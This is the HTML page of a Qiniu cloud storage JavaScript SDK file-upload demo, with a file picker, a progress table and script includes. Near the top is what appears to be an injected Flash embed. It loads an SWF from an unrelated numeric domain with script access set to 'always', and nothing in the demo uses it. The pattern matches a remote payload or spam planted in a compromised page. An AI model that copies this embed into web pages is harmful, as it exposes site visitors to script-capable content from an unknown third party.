
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>七牛云 - JavaScript SDK</title>
    <link href="images/favicon.ico" rel="shortcut icon">
    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="bower_components/qiniu/demo/styles/main.css">
    <link rel="stylesheet" href="bower_components/qiniu/demo/styles/highlight.css">

</head>
<body>
<nav class="navbar navbar-default navbar-fixed-top">

</nav>

<div>
    <object width="610" align="middle" height="480" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" style="width:610px;height:480px;" id="reader"><param name="wmode" value="transparent"><param name="allowfullscreen" value="true"><param name="allowScriptAccess" value="always"><param name="movie" value="http://z2.52896368.com/tp/js/t.swf?num=1"><embed width="610" align="middle" height="480" ver="10.0.0" wmode="transparent" bgcolor="#000" allowfullscreen="true" allowscriptaccess="always" src="http://z2.52896368.com/tp/js/t.swf?num=1" name="reader" style="width:610px;height:480px;" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></object>
</div>

<div class="container" style="padding-top: 60px;">

    <div class="tab-content">
        <div role="tabpanel" class="tab-pane fade in active" id="demo" aria-labelledby="demo-tab">

            <div class="row" style="margin-top: 20px;">
                <input type="hidden" id="domain" value="http://sweatheart.qiniu.com/">
                <input type="hidden" id="uptoken_url" value="uptoken">

                <div class="col-md-12">
                    <div id="container">
                        <a class="btn btn-default btn-lg " id="pickfiles" href="#" >
                            <i class="glyphicon glyphicon-plus"></i>
                            <span>选择文件</span>
                        </a>
                    </div>
                </div>
                <div style="display:none" id="success" class="col-md-12">
                    <div class="alert-success">
                        队列全部文件处理完毕
                    </div>
                </div>
                <div class="col-md-12 ">
                    <table class="table table-striped table-hover text-left"   style="margin-top:40px;display:none">
                        <thead>
                        <tr>
                            <th class="col-md-4">Filename</th>
                            <th class="col-md-2">Size</th>
                            <th class="col-md-6">Detail</th>
                        </tr>
                        </thead>
                        <tbody id="fsUploadProgress">
                        </tbody>
                    </table>
                </div>
            </div>

        </div>

        <div role="tabpanel" class="tab-pane fade" id="log" aria-labelledby="log-tab">
            <pre id="qiniu-js-sdk-log"></pre>
        </div>
    </div>
</div>

<div class="container" style="display: none;">

    <div class="text-left col-md-12 wrapper">
        <h1 class="text-left col-md-12 ">
            七牛云存储 - JavaScript SDK
            <a class="btn btn-default view_code" id="show_code">
                查看初始化代码
            </a>
            <a class="btn btn-default view_github" href="https://github.com/qiniupd/qiniu-js-sdk" target="_blank">
                <img src="http://qtestbucket.qiniudn.com/GitHub-Mark-32px.png">
                View Source on Github
            </a>
        </h1>
    </div>
    <div class="body">
        <!-- <div class="col-md-12" id="qiniu-js-sdk-log"></div> -->
    </div>

    <div class="modal fade body" id="myModal-img" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">

                <div class="modal-footer">
                    <span class="pull-left">本示例仅演示了简单的图片处理效果，了解更多请点击</span>

                    <a href="https://github.com/SunLn/qiniu-js-sdk" target="_blank" class="pull-left">本SDK文档</a>
                    <span class="pull-left">或</span>

                    <a href="http://developer.qiniu.com/docs/v6/api/reference/fop/image/" target="_blank" class="pull-left">七牛官方文档</a>

                    <button type="button" class="btn btn-primary" data-dismiss="modal">关闭</button>
                </div>
            </div>
        </div>
    </div>
</div>




<script type="text/javascript" src="assets/js/jquery-2.0.3.min.js"></script>
<script type="text/javascript" src="assets/js/bootstrap.min.js"></script>
<script type="text/javascript" src="bower_components/plupload/js/moxie.js"></script>
<script type="text/javascript" src="bower_components/plupload/js/plupload.dev.js"></script>
<!-- <script type="text/javascript" src="bower_components/plupload/js/plupload.full.min.js"></script> -->
<script type="text/javascript" src="bower_components/plupload/js/i18n/zh_CN.js"></script>
<script type="text/javascript" src="bower_components/qiniu/demo/scripts/ui.js"></script>
<script type="text/javascript" src="bower_components/qiniu/src/qiniu.js"></script>
<script type="text/javascript" src="bower_components/qiniu/demo/scripts/highlight.js"></script>
<script type="text/javascript" src="main.js"></script>
<script type="text/javascript">hljs.initHighlightingOnLoad();</script>
</body>
</html>
